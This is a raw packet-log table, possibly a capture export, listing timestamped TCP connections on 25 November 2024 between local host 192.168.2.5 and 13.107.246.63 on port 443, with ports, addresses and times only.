Nov 25, 2024 12:08:14.534184933 CET	49930	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:14.534198999 CET	443	49930	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:14.534214973 CET	443	49930	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:14.534276009 CET	49930	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:14.534327030 CET	49930	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:14.534344912 CET	443	49930	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:14.534353971 CET	49930	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:14.534358978 CET	443	49930	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:14.537545919 CET	49936	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:14.537590027 CET	443	49936	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:14.537687063 CET	49936	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:14.537853003 CET	49936	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:14.537867069 CET	443	49936	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:14.585973978 CET	443	49933	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:14.586375952 CET	49933	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:14.586396933 CET	443	49933	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:14.586818933 CET	49933	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:14.586823940 CET	443	49933	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:14.828377962 CET	443	49934	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:14.828974962 CET	49934	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:14.829003096 CET	443	49934	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:14.829433918 CET	49934	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:14.829441071 CET	443	49934	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:14.836251020 CET	443	49932	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:14.839423895 CET	443	49932	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:14.839493036 CET	49932	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:14.839570999 CET	49932	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:14.839589119 CET	443	49932	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:14.839600086 CET	49932	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:14.839603901 CET	443	49932	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:14.842441082 CET	49937	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:14.842479944 CET	443	49937	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:14.842606068 CET	49937	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:14.842772961 CET	49937	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:14.842789888 CET	443	49937	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:15.029741049 CET	443	49933	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:15.032864094 CET	443	49933	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:15.032942057 CET	49933	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:15.032985926 CET	49933	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:15.033010006 CET	443	49933	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:15.033029079 CET	49933	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:15.033035040 CET	443	49933	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:15.036041975 CET	49938	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:15.036082029 CET	443	49938	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:15.036180973 CET	49938	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:15.036380053 CET	49938	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:15.036392927 CET	443	49938	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:15.262453079 CET	443	49934	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:15.265594959 CET	443	49934	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:15.265665054 CET	443	49934	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:15.265669107 CET	49934	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:15.265723944 CET	49934	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:15.265784979 CET	49934	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:15.265801907 CET	443	49934	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:15.265811920 CET	49934	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:15.265816927 CET	443	49934	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:15.269193888 CET	49939	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:15.269227028 CET	443	49939	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:15.269315958 CET	49939	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:15.269584894 CET	49939	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:15.269598961 CET	443	49939	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:16.364171028 CET	443	49935	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:16.364718914 CET	49935	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:16.364738941 CET	443	49935	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:16.365422964 CET	49935	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:16.365427971 CET	443	49935	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:16.387808084 CET	443	49936	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:16.388228893 CET	49936	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:16.388254881 CET	443	49936	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:16.388834953 CET	49936	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:16.388839960 CET	443	49936	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:16.556870937 CET	443	49937	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:16.557451010 CET	49937	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:16.557467937 CET	443	49937	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:16.558087111 CET	49937	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:16.558092117 CET	443	49937	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:16.819786072 CET	443	49935	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:16.822410107 CET	443	49935	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:16.822487116 CET	49935	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:16.822562933 CET	49935	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:16.822587013 CET	443	49935	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:16.822596073 CET	49935	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:16.822602034 CET	443	49935	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:16.826000929 CET	49940	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:16.826030016 CET	443	49940	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:16.826122999 CET	49940	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:16.826304913 CET	49940	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:16.826323032 CET	443	49940	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:16.836232901 CET	443	49936	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:16.839968920 CET	443	49936	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:16.840045929 CET	49936	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:16.840060949 CET	443	49936	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:16.840131044 CET	443	49936	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:16.840157986 CET	49936	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:16.840181112 CET	49936	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:16.840198994 CET	443	49936	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:16.840205908 CET	443	49936	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:16.840210915 CET	49936	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:16.840214968 CET	443	49936	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:16.842787027 CET	49941	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:16.842837095 CET	443	49941	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:16.842895985 CET	49941	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:16.843055010 CET	49941	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:16.843070984 CET	443	49941	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:16.882958889 CET	443	49938	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:16.883470058 CET	49938	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:16.883481979 CET	443	49938	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:16.884058952 CET	49938	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:16.884063005 CET	443	49938	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:16.995590925 CET	443	49937	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:16.995719910 CET	443	49937	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:16.995794058 CET	49937	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:16.995966911 CET	49937	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:16.995987892 CET	443	49937	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:16.995997906 CET	49937	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:16.996002913 CET	443	49937	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:16.999489069 CET	49942	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:16.999525070 CET	443	49942	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:16.999591112 CET	49942	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:16.999736071 CET	49942	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:16.999748945 CET	443	49942	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:17.049143076 CET	443	49939	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:17.049710989 CET	49939	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:17.049721956 CET	443	49939	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:17.050350904 CET	49939	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:17.050355911 CET	443	49939	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:17.341325998 CET	443	49938	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:17.344394922 CET	443	49938	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:17.344449997 CET	49938	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:17.344455957 CET	443	49938	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:17.344507933 CET	49938	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:17.344587088 CET	49938	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:17.344604015 CET	443	49938	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:17.344614983 CET	49938	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:17.344620943 CET	443	49938	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:17.348356009 CET	49943	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:17.348431110 CET	443	49943	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:17.348498106 CET	49943	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:17.348676920 CET	49943	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:17.348695993 CET	443	49943	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:17.491857052 CET	443	49939	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:17.495183945 CET	443	49939	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:17.495271921 CET	49939	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:17.495320082 CET	49939	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:17.495342016 CET	443	49939	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:17.495357037 CET	49939	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:17.495362043 CET	443	49939	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:17.498543024 CET	49944	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:17.498589993 CET	443	49944	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:17.498686075 CET	49944	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:17.498866081 CET	49944	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:17.498881102 CET	443	49944	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:18.670317888 CET	443	49940	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:18.670949936 CET	49940	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:18.670980930 CET	443	49940	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:18.671428919 CET	49940	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:18.671433926 CET	443	49940	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:18.690812111 CET	443	49941	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:18.691226006 CET	49941	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:18.691243887 CET	443	49941	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:18.691653967 CET	49941	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:18.691658974 CET	443	49941	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:18.779721975 CET	443	49942	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:18.780193090 CET	49942	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:18.780211926 CET	443	49942	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:18.780642986 CET	49942	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:18.780647039 CET	443	49942	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:19.064615011 CET	443	49943	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:19.065191031 CET	49943	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:19.065220118 CET	443	49943	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:19.065661907 CET	49943	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:19.065666914 CET	443	49943	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:19.122585058 CET	443	49940	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:19.122632980 CET	443	49940	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:19.122692108 CET	443	49940	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:19.122744083 CET	49940	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:19.122778893 CET	49940	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:19.123022079 CET	49940	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:19.123042107 CET	443	49940	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:19.123054028 CET	49940	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:19.123059034 CET	443	49940	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:19.126075983 CET	49945	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:19.126121998 CET	443	49945	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:19.126187086 CET	49945	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:19.126327038 CET	49945	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:19.126339912 CET	443	49945	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:19.142916918 CET	443	49941	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:19.146399975 CET	443	49941	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:19.146481037 CET	49941	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:19.146513939 CET	49941	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:19.146537066 CET	443	49941	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:19.146552086 CET	49941	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:19.146557093 CET	443	49941	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:19.149046898 CET	49946	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:19.149101019 CET	443	49946	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:19.149188995 CET	49946	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:19.149342060 CET	49946	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:19.149354935 CET	443	49946	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:19.222940922 CET	443	49942	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:19.226444006 CET	443	49942	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:19.226500988 CET	443	49942	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:19.226519108 CET	49942	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:19.226571083 CET	49942	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:19.226619959 CET	49942	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:19.226639986 CET	443	49942	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:19.226650953 CET	49942	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:19.226656914 CET	443	49942	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:19.229424000 CET	49947	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:19.229439020 CET	443	49947	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:19.229507923 CET	49947	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:19.229640007 CET	49947	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:19.229650021 CET	443	49947	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:19.279396057 CET	443	49944	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:19.280106068 CET	49944	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:19.280128002 CET	443	49944	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:19.280566931 CET	49944	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:19.280579090 CET	443	49944	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:19.499144077 CET	443	49943	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:19.502202034 CET	443	49943	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:19.502269030 CET	49943	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:19.502389908 CET	49943	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:19.502389908 CET	49943	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:19.502399921 CET	443	49943	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:19.502407074 CET	443	49943	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:19.505064011 CET	49948	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:19.505086899 CET	443	49948	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:19.505155087 CET	49948	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:19.505331993 CET	49948	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:19.505343914 CET	443	49948	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:19.722368002 CET	443	49944	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:19.725702047 CET	443	49944	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:19.725776911 CET	49944	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:19.730652094 CET	49944	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:19.730669975 CET	443	49944	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:19.730684996 CET	49944	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:19.730690002 CET	443	49944	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:19.734395981 CET	49949	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:19.734435081 CET	443	49949	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:19.734518051 CET	49949	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:19.734658957 CET	49949	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:19.734678030 CET	443	49949	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:20.842113972 CET	443	49945	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:20.842731953 CET	49945	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:20.842747927 CET	443	49945	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:20.843218088 CET	49945	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:20.843224049 CET	443	49945	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:20.928265095 CET	443	49946	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:20.928837061 CET	49946	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:20.928865910 CET	443	49946	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:20.929299116 CET	49946	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:20.929303885 CET	443	49946	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:20.945630074 CET	443	49947	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:20.946106911 CET	49947	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:20.946119070 CET	443	49947	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:20.946501017 CET	49947	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:20.946506023 CET	443	49947	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:21.347295046 CET	443	49945	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:21.347387075 CET	443	49945	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:21.347450018 CET	49945	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:21.347630024 CET	49945	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:21.347644091 CET	443	49945	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:21.347655058 CET	49945	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:21.347661018 CET	443	49945	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:21.350584984 CET	49950	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:21.350627899 CET	443	49950	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:21.350704908 CET	49950	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:21.350886106 CET	49950	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:21.350900888 CET	443	49950	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:21.386979103 CET	443	49948	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:21.387437105 CET	49948	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:21.387449026 CET	443	49948	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:21.387943029 CET	49948	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:21.387949944 CET	443	49948	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:21.438954115 CET	443	49946	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:21.439027071 CET	443	49946	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:21.439081907 CET	49946	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:21.439105034 CET	443	49946	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:21.439143896 CET	443	49946	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:21.439182997 CET	49946	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:21.439331055 CET	49946	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:21.439344883 CET	443	49946	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:21.439363956 CET	49946	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:21.439369917 CET	443	49946	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:21.439371109 CET	443	49947	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:21.439459085 CET	443	49947	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:21.439501047 CET	49947	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:21.439552069 CET	49947	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:21.439557076 CET	443	49947	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:21.439569950 CET	49947	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:21.439573050 CET	443	49947	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:21.442471027 CET	49951	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:21.442509890 CET	443	49951	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:21.442596912 CET	49951	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:21.442630053 CET	49952	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:21.442662001 CET	443	49952	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:21.442715883 CET	49952	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:21.442719936 CET	49951	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:21.442742109 CET	443	49951	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:21.442852020 CET	49952	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:21.442863941 CET	443	49952	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:21.515738964 CET	443	49949	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:21.516207933 CET	49949	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:21.516221046 CET	443	49949	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:21.516671896 CET	49949	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:21.516678095 CET	443	49949	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:21.832370043 CET	443	49948	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:21.835935116 CET	443	49948	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:21.835999966 CET	443	49948	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:21.836003065 CET	49948	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:21.836051941 CET	49948	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:21.836123943 CET	49948	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:21.836133003 CET	443	49948	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:21.836144924 CET	49948	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:21.836148977 CET	443	49948	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:21.839253902 CET	49953	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:21.839278936 CET	443	49953	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:21.839334011 CET	49953	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:21.839488983 CET	49953	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:21.839499950 CET	443	49953	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:21.961157084 CET	443	49949	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:21.964365959 CET	443	49949	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:21.964458942 CET	49949	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:21.964505911 CET	49949	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:21.964523077 CET	443	49949	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:21.964540958 CET	49949	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:21.964549065 CET	443	49949	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:21.967477083 CET	49954	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:21.967509985 CET	443	49954	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:21.967689037 CET	49954	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:21.967752934 CET	49954	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:21.967767954 CET	443	49954	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:23.137672901 CET	443	49950	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:23.138329983 CET	49950	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:23.138362885 CET	443	49950	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:23.138789892 CET	49950	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:23.138797998 CET	443	49950	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:23.179054022 CET	443	49951	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:23.180608034 CET	49951	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:23.180638075 CET	443	49951	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:23.181293011 CET	49951	443	192.168.2.5	13.107.246.63
